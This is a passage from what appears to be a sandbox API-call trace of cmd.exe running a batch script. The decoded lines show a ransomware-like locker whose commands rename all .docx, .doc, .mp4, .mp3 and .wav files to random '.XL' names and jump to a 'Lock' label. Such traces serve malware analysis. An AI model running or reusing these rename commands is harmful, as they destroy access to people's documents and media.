lpWideCharStr=":docx\r\nck\r\n") returned 7 [0038.356] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.356] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc5f [0038.356] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.356] GetFileType (hFile=0x74) returned 0x1 [0038.356] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc5f [0038.356] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.356] SetFilePointer (in: hFile=0x74, lDistanceToMove=3169, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc61 [0038.357] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nocx\r\n") returned 2 [0038.357] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.357] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc61 [0038.357] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.357] GetFileType (hFile=0x74) returned 0x1 [0038.357] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc61 [0038.357] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.357] SetFilePointer (in: hFile=0x74, lDistanceToMove=3196, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc7c [0038.357] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.docx %RANDOM%.XL\r\n\n") returned 27 [0038.357] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.357] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc7c [0038.357] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.357] GetFileType (hFile=0x74) returned 0x1 [0038.357] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc7c [0038.357] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.357] SetFilePointer (in: hFile=0x74, lDistanceToMove=3207, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc87 [0038.357] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ncx %RANDOM%.XL\r\n") returned 11 [0038.357] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.357] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc87 [0038.357] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.357] GetFileType (hFile=0x74) returned 0x1 [0038.357] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc87 [0038.357] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.358] SetFilePointer (in: hFile=0x74, lDistanceToMove=3209, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc89 [0038.358] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.358] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.358] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc89 [0038.358] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.358] GetFileType (hFile=0x74) returned 0x1 [0038.358] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc89 [0038.358] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.358] SetFilePointer (in: hFile=0x74, lDistanceToMove=3215, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc8f [0038.358] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":doc\r\nock\r\n") returned 6 [0038.358] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.358] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc8f [0038.358] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.358] GetFileType (hFile=0x74) returned 0x1 [0038.358] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc8f [0038.358] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.358] SetFilePointer (in: hFile=0x74, lDistanceToMove=3217, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc91 [0038.358] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\noc\r\n") returned 2 [0038.358] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.358] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc91 [0038.358] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.358] GetFileType (hFile=0x74) returned 0x1 [0038.358] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc91 [0038.359] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.359] SetFilePointer (in: hFile=0x74, lDistanceToMove=3243, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcab [0038.359] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.doc %RANDOM%.XL\r\n\n") returned 26 [0038.359] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.359] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcab [0038.359] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.359] GetFileType (hFile=0x74) returned 0x1 [0038.359] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcab [0038.359] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.359] SetFilePointer (in: hFile=0x74, lDistanceToMove=3254, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcb6 [0038.359] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nc %RANDOM%.XL\r\n") returned 11 [0038.359] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.359] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcb6 [0038.359] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.359] GetFileType (hFile=0x74) returned 0x1 [0038.359] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcb6 [0038.359] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.359] SetFilePointer (in: hFile=0x74, lDistanceToMove=3256, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcb8 [0038.359] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.359] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.359] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcb8 [0038.359] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.359] GetFileType (hFile=0x74) returned 0x1 [0038.360] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcb8 [0038.360] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.360] SetFilePointer (in: hFile=0x74, lDistanceToMove=3262, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcbe [0038.360] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":mp4\r\nock\r\n") returned 6 [0038.360] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.360] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcbe [0038.360] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.360] GetFileType (hFile=0x74) returned 0x1 [0038.360] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcbe [0038.360] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.360] SetFilePointer (in: hFile=0x74, lDistanceToMove=3264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcc0 [0038.360] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\np4\r\n") returned 2 [0038.360] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.360] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcc0 [0038.360] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.360] GetFileType (hFile=0x74) returned 0x1 [0038.360] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcc0 [0038.360] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.360] SetFilePointer (in: hFile=0x74, lDistanceToMove=3290, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcda [0038.360] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.mp4 %RANDOM%.XL\r\n") returned 26 [0038.360] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.360] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcda [0038.361] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.361] GetFileType (hFile=0x74) returned 0x1 [0038.361] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcda [0038.361] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.361] SetFilePointer (in: hFile=0x74, lDistanceToMove=3301, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xce5 [0038.361] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\n4 %RANDOM%.XL\r\n") returned 11 [0038.361] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.361] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xce5 [0038.361] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.361] GetFileType (hFile=0x74) returned 0x1 [0038.361] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xce5 [0038.361] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.361] SetFilePointer (in: hFile=0x74, lDistanceToMove=3303, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xce7 [0038.361] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.361] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.361] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xce7 [0038.361] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.361] GetFileType (hFile=0x74) returned 0x1 [0038.361] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xce7 [0038.361] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.361] SetFilePointer (in: hFile=0x74, lDistanceToMove=3309, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xced [0038.361] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":mp3\r\nock\r\n") returned 6 [0038.362] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.362] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xced [0038.362] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.362] GetFileType (hFile=0x74) returned 0x1 [0038.362] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xced [0038.362] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.362] SetFilePointer (in: hFile=0x74, lDistanceToMove=3311, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcef [0038.362] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\np3\r\n") returned 2 [0038.362] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.362] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcef [0038.362] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.362] GetFileType (hFile=0x74) returned 0x1 [0038.362] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcef [0038.362] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.362] SetFilePointer (in: hFile=0x74, lDistanceToMove=3337, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd09 [0038.362] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.mp3 %RANDOM%.XL\r\n") returned 26 [0038.362] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.362] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd09 [0038.362] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.362] GetFileType (hFile=0x74) returned 0x1 [0038.362] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd09 [0038.362] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.363] SetFilePointer (in: hFile=0x74, lDistanceToMove=3348, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd14 [0038.363] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\n3 %RANDOM%.XL\r\n") returned 11 [0038.363] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.363] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd14 [0038.363] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.363] GetFileType (hFile=0x74) returned 0x1 [0038.363] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd14 [0038.363] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.363] SetFilePointer (in: hFile=0x74, lDistanceToMove=3350, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd16 [0038.363] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.363] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.363] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd16 [0038.363] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.363] GetFileType (hFile=0x74) returned 0x1 [0038.363] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd16 [0038.363] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.363] SetFilePointer (in: hFile=0x74, lDistanceToMove=3356, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd1c [0038.363] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":wav\r\nock\r\n") returned 6 [0038.363] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.363] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd1c [0038.363] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.363] GetFileType (hFile=0x74) returned 0x1 [0038.363] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd1c [0038.364] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.364] SetFilePointer (in: hFile=0x74, lDistanceToMove=3358, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd1e [0038.364] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nav\r\n") returned 2 [0038.364] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.364] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd1e [0038.364] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.364] GetFileType (hFile=0x74) returned 0x1 [0038.364] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd1e [0038.364] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.364] SetFilePointer (in: hFile=0x74, lDistanceToMove=3384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd38 [0038.364] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.wav %RANDOM%.XL\r\n") returned 26 [0038.364] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.364] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd38 [0038.364] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.364] GetFileType (hFile=0x74) returned 0x1 [0038.364] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd38 [0038.364] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.364] SetFilePointer (in: hFile=0x74, lDistanceToMove=3395, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd43 [0038.365] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nv %RANDOM%.XL\r\n") returned 11 [0038.365] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.365] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: 